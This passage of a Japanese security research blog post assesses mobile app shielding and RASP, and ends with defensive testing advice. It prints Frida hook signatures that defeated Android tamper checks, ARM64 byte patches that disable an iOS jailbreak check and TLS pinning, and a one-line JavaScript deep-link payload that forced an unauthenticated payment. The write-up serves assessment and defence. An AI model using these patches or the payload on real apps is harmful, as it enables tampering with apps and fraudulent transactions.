&lt;span class="nt"&gt;ca&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;java&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;816&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;m13674&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;y&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;java&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;192&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;228&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;m13674&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SecureRandom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nextInt&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ゲートの連鎖と、すべてが一つの戻り値を読み取る8か所の強制呼び出し箇所を示す検出結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-12_mobile-shielding-rasp/single-gate-eight-sites.png" title="図3：1つのメソッド、8か所の呼び出し箇所"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図3：1つのメソッド、8か所の呼び出し箇所&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;ランダムな整数は飾りではありません。これはナンスであり、最も手抜きな攻撃を防ぐために存在します。もしメソッドがクリーンな端末で単に&lt;code&gt;true&lt;/code&gt;や&lt;code&gt;0&lt;/code&gt;を返すだけなら、攻撃者はそれをフックして常にその定数を返させるでしょう。呼び出しのたびに新しいランダムな値を渡し、それが返ってくることを要求すれば、期待される答えが毎回変わるため、定数を返すだけでは失敗します。&lt;/p&gt;
&lt;p&gt;しかし、ここではそれが役に立ちません。メソッドをフックできる攻撃者であれば、渡された引数をそのまま返せばよく、そうすればすべての箇所で比較が成立してしまいます。&lt;/p&gt;
&lt;p&gt;名前がUnicodeであるため、名前ではなく型シグネチャで解決した3つのフックは次のとおりです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"hooked"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"m13674"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"sig"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"int(android.content.Context,int)"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"hooked"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"m13676"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"sig"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"boolean(java.lang.Exception)"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"hooked"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"m13677"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"sig"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"int(android.content.Context,int,int)"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"alive"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"pid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;6285&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"ping"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"alive"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"pid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;6285&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"ping"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="評価の動的エビデンス：端末の割り当て、サスペンド状態での起動、解決された3つのフック、継続的な実行" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-12_mobile-shielding-rasp/frida-hook-evidence.png" title="図4：再現された回避"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図4：再現された回避&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;2分間の実行で、プロセスは安定して動作し、クラッシュもなく、改ざん検知の経路は一度も作動しません。&lt;/p&gt;
&lt;p&gt;この失敗は、暗号の問題ではなくアーキテクチャの問題です。ネイティブ層は正しい判定を算出していました。ところがアプリケーションは、その判定を、プログラムの中で最も保護の弱い部分に置かれた、変更可能な一つの整数として信頼していたのです。&lt;/p&gt;
&lt;h2 id="ピンニング回避を正しく実証する方法"&gt;ピンニング回避を正しく実証する方法&lt;/h2&gt;
&lt;p&gt;証明書ピンニングとは、アプリがOSのトラストストアだけに依存しないことを意味します。サーバーの証明書、またはその中の公開鍵が、アプリに同梱された値と一致するかどうかもチェックします。適切に実装されていれば、攻撃者が端末に独自のルートCAをインストールしても防御が維持されます。&lt;/p&gt;
&lt;p&gt;しかし、ピンニングはアプリケーションのコードであるため、比較処理をフックしたりパッチを当てたりすれば無効化できます。&lt;/p&gt;
&lt;p&gt;多くのレポートは、これを弱い根拠で実証しています。フックが読み込まれた、プロキシにトラフィックが表示された、アプリがクラッシュしなかった、といったものです。これらは回避と矛盾しませんが、ほかのいくつかの説明とも矛盾しません。&lt;/p&gt;
&lt;p&gt;スキャンでは代わりに、アプリ自身の証明書チェッカーに対して対照実験を行いました。チェッカーはアプリ自身のコンストラクターで生成し、アプリ自身のピンリストを読み込ませています。2回とも同じ証明書、同じオブジェクト、同じピンを使用しました。唯一の変数は、フックが有効かどうかだけです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;同じ証明書、同じチェッカー、同じピン&lt;/th&gt;
&lt;th&gt;回避なし&lt;/th&gt;
&lt;th&gt;回避あり&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ピンの比較（1つ目のピン）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ピンの比較（2つ目のピン）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;証明書の検証&lt;/td&gt;
&lt;td&gt;拒否され、例外がスローされた&lt;/td&gt;
&lt;td&gt;受け入れられ、エラーなし&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ほかのすべてを固定したまま、一方の実行では拒否され、もう一方では受け入れられています。目指すべき基準はこれです。「ツールが成功したと言った」ではなく、「管理された条件下で、保護された判定が変化した」ことです。しかもこのテストでは、アプリが接続を行うのを待つのではなくピンニングのコードを直接動かすため、プロキシもキャプチャしたトラフィックも必要ありませんでした。&lt;/p&gt;
&lt;h2 id="iosでは、誰もレシートを確認しない"&gt;iOSでは、誰もレシートを確認しない&lt;/h2&gt;
&lt;p&gt;iOSアプリには、ジェイルブレイクのゲート、2つの異なる言語で書かれた2つの独立したピンニング実装、35 MBの保護フレームワーク、そして複数のサードパーティSDKが含まれています。&lt;/p&gt;
&lt;p&gt;それでも、自身のコードが改変されたかどうかは一度もチェックしていません。&lt;/p&gt;
&lt;p&gt;iOSにおける自己検証とは、&lt;code&gt;SecStaticCodeCheckValidity&lt;/code&gt;のようなAPIや&lt;code&gt;csops&lt;/code&gt;システムコールを通じて自身のコード署名についてシステムに問い合わせること、あるいは自身の&lt;code&gt;__TEXT&lt;/code&gt;ページのハッシュを計算して想定値と比較することを指します。スキャンでは、保護に関連する7つのバイナリすべてについて、こうした標準的な形態をすべて検索しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;main binary            36.8 MB    self-check: NONE
Flutter framework      19.6 MB    self-check: NONE
protection framework   35.0 MB    self-check: NONE
attribution SDK         0.6 MB    self-check: NONE
jailbreak detection     0.07 MB   self-check: NONE
fingerprinting SDK      0.9 MB    self-check: NONE
monitoring agent        5.9 MB    self-check: NONE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;難読化されたバイナリでは、シンボルが欠けていてもほとんど何も証明できません。シンボルは削除できますし、呼び出しは生のシステムコール番号で行えるからです。そのため、スキャンはそこで止まりませんでした。保護フレームワークを逆アセンブルし、そのフレームワークがシステムコールを直接発行している1,761か所すべてを確認しました。そのどれも、コード署名を照会していませんでした。&lt;/p&gt;
&lt;p&gt;このフレームワークは、稼働中のデバッガーや稼働中の注入を見つけることはできます。しかし、自身のバイトが変更されたことには気付けません。&lt;/p&gt;
&lt;p&gt;そこで、実際にバイトを変更しました。それぞれ数命令からなる3つのパッチです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Jailbreak&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;

&lt;span class="n"&gt;Flutter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TLS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pinning&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ldrb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;bic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;asr&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="n"&gt;Payment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SDK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pinning&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;four&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;places&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;w1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ARM64の呼び出し規約では、&lt;code&gt;w0&lt;/code&gt;は、関数が戻り値を格納するレジスタである&lt;code&gt;x0&lt;/code&gt;の下位32ビットです。&lt;code&gt;mov w0, #0&lt;/code&gt;に続く&lt;code&gt;ret&lt;/code&gt;は、ゼロを返す完結した関数であり、Objective-Cではこれは&lt;code&gt;NO&lt;/code&gt;を意味します。したがって、ジェイルブレイクチェックのプロローグを置き換えた8バイトによって、関数全体が「ジェイルブレイクされていない」を返すものになり、その後の処理は一切実行されません。&lt;/p&gt;
&lt;p&gt;ピンニングのパッチも、一段下のレベルで同じように機能します。信頼の判定を報告するコールバックに、成功を報告させるのです。&lt;/p&gt;
&lt;p&gt;興味深いのは3つ目のパッチです。アプリに不正な証明書を受け入れさせるのではなく、アプリが証明書を&lt;em&gt;拒否する&lt;/em&gt;4か所を変更しました。これらの箇所では、接続のキャンセルを意味する&lt;code&gt;2&lt;/code&gt;をチャレンジハンドラーに渡していました。現在は、システムの通常の評価にフォールバックすることを意味する&lt;code&gt;1&lt;/code&gt;を渡しています。正当な証明書を実際に受け入れる唯一の箇所には手を加えていません。&lt;/p&gt;
&lt;p&gt;アプリは受け入れるよう指示されることなく拒否しなくなるため、その振る舞いは明らかに壊れたものではなく、もっともらしいものに保たれます。&lt;/p&gt;
&lt;p&gt;3つのパッチはいずれも再パッケージ化と再署名を経ても残り、バンドル内の何からも反応はありませんでした。自身のレシートを一度も確認しないアプリであれば、まさに予想どおりの結果です。&lt;/p&gt;
&lt;h2 id="シールディングは認可ではない"&gt;シールディングは認可ではない&lt;/h2&gt;
&lt;p&gt;調査対象のうち1本のアプリには、報告に値するシールディングの欠陥はありませんでしたが、それとは関係なくクリティカルな脆弱性がありました。&lt;/p&gt;
&lt;p&gt;Activityは、Androidアプリのエントリーポイントで、おおよそ1つの画面に相当します。デフォルトでは、アプリ内でのみ使用できます。&lt;code&gt;exported="true"&lt;/code&gt;を指定すると、ほかのアプリから起動できるようになります。さらにインテントフィルターに&lt;code&gt;BROWSABLE&lt;/code&gt;カテゴリを追加すると、アプリのカスタムスキームを使ったリンクをたどることで、&lt;strong&gt;Webブラウザー&lt;/strong&gt;からも起動できるようになります。&lt;/p&gt;
&lt;p&gt;このアクティビティはエクスポートされ、ブラウザーから起動可能で、トランザクションのリポジトリに書き込む前に、認証、セッション、呼び出し元のチェックを一切行っていませんでした。&lt;/p&gt;
&lt;p&gt;アプリのデータをすべて消去し、誰もログインしていない状態で、JavaScript1行だけで十分でした。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"app://quickpay?payee=BrowserAttacker&amp;amp;amount=200.00"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ブラウザーがその画面を起動しました。その後のトランザクション一覧には、ベースラインでは5件だったエントリーが6件あり、攻撃者の受取人と金額が記録されていました。&lt;/p&gt;
&lt;p&gt;端末には何も不審な点がなかったため、どのシールディング製品もこれを検知できなかったはずです。シールディングは、侵害された端末を攻撃するコストを引き上げます。しかし、クリーンな端末における認可の欠如には何の効果もなく、トランザクション自体に対するサーバー側のチェックの代わりにもなりません。&lt;/p&gt;
&lt;h2 id="すべてのアプリに共通するパターン"&gt;すべてのアプリに共通するパターン&lt;/h2&gt;
&lt;p&gt;検知技術は、どのアプリでも決して単純なものではありませんでした。パックされたネイティブコード、1秒間に何度も新しいメモリに生成されるコード、libcより下のレイヤーで発行されるシステムコール、テキストとして存在しない文字列、動的なJNI登録、メモリマップのスキャン、署名のハッシュ計算、ラテン文字になりすましたギリシャ文字のメソッド名、そして何も教えないように作り込まれたクラッシュです。&lt;/p&gt;
&lt;p&gt;失敗はすべて、その一段内側の層にありました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;特権を持つ攻撃者が書き換え可能なプロパティ値を信頼していた&lt;/li&gt;
&lt;li&gt;起動時の一つの時間枠ですべてが決まっていた&lt;/li&gt;
&lt;li&gt;8か所の強制箇所が、変更可能な一つの整数を読み取っていた&lt;/li&gt;
&lt;li&gt;iOSのコードがパッチされても、それに気付く自己検証がなかった&lt;/li&gt;
&lt;li&gt;あるアプリはrootを正しく検知していたが、何も強制していなかった&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;そして最も鋭い検出結果は、そもそも回避ではありませんでした。これらのアプリの一つを、パッチもフックもプロパティの編集もない、ごく普通のroot化された端末にインストールしました。アプリはそのままログイン画面に進み、その状態のままでした。シールディングはrootに気付き、それを正しく報告していました。それでもアプリが動作し続けたのは、その報告に耳を傾けるものが何もなかったからです。&lt;/p&gt;
&lt;p&gt;検知器が答えるのは「何が見えているか」です。制御が答えるのは「何をするのか、そして攻撃者はその判断を変えられるのか」です。多くの導入事例は、前者には強く、後者には弱いのが実情です。&lt;/p&gt;
&lt;h2 id="自社アプリで実施すべき3つのテスト"&gt;自社アプリで実施すべき3つのテスト&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;検知ではなく、対応を確認する。&lt;/strong&gt;アプリがrootを検知できるかどうかを問うのではありません。root化された端末にインストールして観察してください。アプリは終了するでしょうか。機密性の高いフローを制限するでしょうか。認証をブロックするでしょうか。それとも、ログを記録して動作を続けるだけでしょうか。動作を続けるのであれば、購入したのは制御ではなくテレメトリです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強制箇所の数を数える。&lt;/strong&gt;判定がどのように振る舞いに反映されるかを追跡します。すべてを決める一つのメソッドはあるでしょうか。答え全体を担う一つのbooleanや整数はあるでしょうか。それはフックで変更できるでしょうか。強制は機密性の高い操作の直前で行われていますか。それとも起動時に一度だけでしょうか。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特にiOSでは、自身のコードの完全性を検証する。&lt;/strong&gt;アプリは自身のコード署名を照会したり、自身のテキストページのハッシュを計算したりしているでしょうか。再パッケージ化や再署名を検知できるでしょうか。保護フレームワーク自体を検証しているでしょうか。フェイルクローズになっているでしょうか。それがなければ、ほかのあらゆる保護は、反転されるのを待つ一つの命令にすぎず、バンドル内の何もそれに気付きません。&lt;/p&gt;
&lt;h2 id="評価の実施方法"&gt;評価の実施方法&lt;/h2&gt;
&lt;p&gt;モバイルシールディングは誤って評価しやすいものです。ツールが読み込まれたことは実証になりません。クラッシュが消えたことも、常に実証になるとは限りません。プロキシにトラフィックが表示されたことは、ピンニング回避の実証にはなりません。結果と同じくらい、手法が重要です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;回避の前にベースラインを取る。&lt;/strong&gt;すべてのアプリは、まず何もアタッチしていない、root化されていないクリーンな端末で起動しました。動作するか。終了するか。終了するなら、最初に作動するのは何か。その答えが最も外側のシールドを特定し、以降のあらゆる主張の基準となります。これがなければ、保護とバグを区別できません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;両方の層をマッピングする。&lt;/strong&gt;パッケージの検査、逆コンパイル、逆アセンブルによって、前述の検知関数の一覧とオフセット、8か所の強制箇所とその背後にあるメソッド、iOSのパッチ箇所、そして証明書検証のロジックを特定しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;問いに合わせて端末の状態を選ぶ。&lt;/strong&gt;ベースラインにはクリーンな端末、rootとプロパティの作業にはroot化された端末、ピンニングにはトラフィックを傍受できる端末、通常のアタッチでは見えないうちに作動するチェックにはサスペンド状態での起動、iOSの改ざんテストにはパッチを当てて再署名したビルドを使います。一つの端末状態で、すべての問いに答えることはできません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一度に変更する変数は一つだけにする。&lt;/strong&gt;プロパティ書き込みの前後で同じアプリを使う。ピンニングのフックの前後で同じ証明書を使う。同じプロセスで早いアタッチと遅いアタッチを比較する。パッチ適用の前後で同じiOSバイナリを使う。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;観測可能なセキュリティ上の効果を求める。&lt;/strong&gt;検出結果として数えたのは、セキュリティ上意味のある結果が変化した場合だけです。以前は終了していたアプリが稼働し続けた、UIが保護された状態に到達した、証明書の判定が反転した、リポジトリが認証されていない入力を受け入れた、パッチを当てたビルドが検知されずに動作した、といった場合です。経過時間が成功の基準になることは決してありません。「30秒間生き残った」は期待であって、観測ではないからです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="評価の分析ビュー。3段階のライフサイクルと、検証基準およびその結果の表を示している" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-12_mobile-shielding-rasp/assessment-analysis-view.png" title="図5：自らのループを閉じる評価"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図5：自らのループを閉じる評価&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;評価が自らに課したすべての基準と、それが実際に返した結果です。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="モバイルアプリシールディングとは何か"&gt;モバイルアプリシールディングとは何か&lt;/h3&gt;
&lt;p&gt;リバースエンジニアリング、改ざん、デバッグ、フッキング、そして敵対的な環境での実行を困難にするために、アプリケーションに組み込まれる保護機能です。通常は、root/ジェイルブレイク検知、エミュレーターとデバッガーの検知、フック検知、難読化、パッキング、証明書ピンニング、改ざん防止のロジックがまとめて提供されます。&lt;/p&gt;
&lt;h3 id="raspとは何か"&gt;RASPとは何か&lt;/h3&gt;
&lt;p&gt;Runtime Application Self-Protection（実行時アプリケーション自己保護）の略です。モバイルでは、アプリが自身の環境を監視し、何かがおかしいと見えたときに対応することを意味します。重要なのは「対応する」という言葉です。対応を伴わない検知は、単なるテレメトリです。&lt;/p&gt;
&lt;h3 id="検知と強制の違いは何か"&gt;検知と強制の違いは何か&lt;/h3&gt;
&lt;p&gt;検知は、環境が敵対的であると判断することです。強制は、それに対して何をするかを決めることです。アプリは、答えを無視したり、攻撃者が変更できる単一の値として答えを公開したりすることで、完璧に検知しながら何も保護しないということがあり得ます。&lt;/p&gt;
&lt;h3 id="デバッガーは見逃されるのに、fridaが検知されるのはなぜか"&gt;デバッガーは見逃されるのに、Fridaが検知されるのはなぜか&lt;/h3&gt;
&lt;p&gt;Fridaが何をするかではなく、どのように入り込むかが理由です。注入は一時的に&lt;code&gt;TracerPid&lt;/code&gt;を設定し、プロセスのメモリマップに外部の実行可能なマッピングを残します。起動時にこの2つをサンプリングするアプリは、スクリプトが実行される前に注入を捕捉します。そのチェックの後にアタッチするデバッガーは、どちらの痕跡も残しません。&lt;/p&gt;
&lt;h3 id="1つのフックで8つの保護が同時に破られたのはなぜか"&gt;1つのフックで8つの保護が同時に破られたのはなぜか&lt;/h3&gt;
